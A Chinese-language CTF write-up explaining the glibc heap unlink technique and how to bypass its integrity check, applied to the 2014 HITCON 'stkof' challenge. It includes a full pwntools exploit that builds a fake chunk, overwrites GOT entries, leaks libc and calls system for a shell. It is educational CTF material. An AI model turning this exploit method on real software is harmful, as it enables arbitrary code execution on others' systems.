Unlink的学习与利用

Unlink的学习与利用

原理

0x00 unlink是什么

  unlink说的是linux系统在进行空闲堆块管理的时候,进行空闲堆块的合并操作。一般发生在程序进行堆块释放之后。

(图片来自ctf wiki)

其实操作就是(学过数据结构应该很好理解)

1
2
p->fd->bk = p->bk
p->bk->fd = p->fd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P); //这里有一个unlink的防护
else {
FD->bk = BK; \\进行了检查(核心代码)
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
assert (P->fd_nextsize->bk_nextsize == P);
assert (P->bk_nextsize->fd_nextsize == P);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

可以看出我们需要满足以下条件才能绕过检查

1
2
FD->bk = BK;
BK->fd = FD;

为了绕过检查,我们必须在全局变量区找到一个指向堆块的地方,若该指针为ptr

1
2
3
4
5
6
7
32
FD = ptr-12
BK = ptr-8
64
FD = ptr-0x18
BK = ptr-0x10

例题:2014 HITCON stkof

0x00 基本信息

1
2
3
4
5
6
7
8
$ file hitcon-14-stkof
hitcon-14-stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32,
$ checksec hitcon-14-stkof
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序为64位,开了NX和Canary保护

0x01 流程分析

  1. alloc (输入分配内存的大小size)
  2. read_in (往分配的内存中输入内容,允许写入任意长度,可造成堆溢出)
  3. free (释放内存块)
  4. useless (无用函数)

0x02 利用过程

  • 首先构造3个chunk:chunk1、chunk2、chunk3,
  • 利用漏洞溢出chunk2,使chunk2和chunk3合并,利用unlink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
alloc(0x100) # id 1
# begin
alloc(0x40) # id 2
# small chunk size in order to trigger unlink
alloc(0x80) # id 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x40) #current size
payload += p64(head + 16 - 0x18) #fd +16因为这是bss段,第二个堆块
payload += p64(head + 16 - 0x10) #bk
payload = payload.ljust(0x40, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at chunk2
payload += p64(0x40)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8
free(3)
  • 修改 chunk0 为 free@got 地址,同时修改chunk1为 puts@got 地址,chunk2 为 atoi@got 地址
  • free@got的值覆盖为puts@plt
1
2
3
4
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
  • leak出system地址,覆盖atoi@got
1
2
3
4
5
6
7
8
9
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
puts_offset = puts_addr - libc.symbols['puts']
system_addr = puts_offset + libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send('/bin/sh')

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process("./hitcon-14-stkof")
stkof = ELF('hitcon-14-stkof')
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
def pwn():
# small chunk size in order to trigger unlink
alloc(0x100) # id 1
alloc(0x40) # id 2
alloc(0x80) # id 3
# a fake chunk at chunk[2]=head+16 who's size is 0x40
payload = p64(0) #prev_size
payload += p64(0x40) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
#payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x40, 'a')
# overwrite chunk[3]'s chunk's prev_size
# make it believe that prev chunk is at chunk[2]
payload += p64(0x40)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')
# overwrite chunk0 = free@got, chunk1=puts@got, chunk2=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts_addr: ' + hex(puts_addr))
puts_offset = puts_addr - libc.symbols['puts']
system_addr = puts_offset + libc.symbols['system']
log.success('put_offset: ' + hex(puts_offset))
log.success('system_addr: ' + hex(system_addr))
# turn atoi@got into system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
#p.send('/bin/sh')
p.interactive()
pwn()

0x04 题外话

由于unlink原理资料很多,所以本文原理介绍篇幅有限。这个程序没什么输出,很难看,分析起来很耗时间。复现题目一定要多换换参数,方法。如果本文有什么错误或者您有什么疑惑,请联系我。

参考资料:
http://wonderkun.cc/index.html/?p=651
https://blog.csdn.net/qq_33528164/article/details/79586902
https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/#_3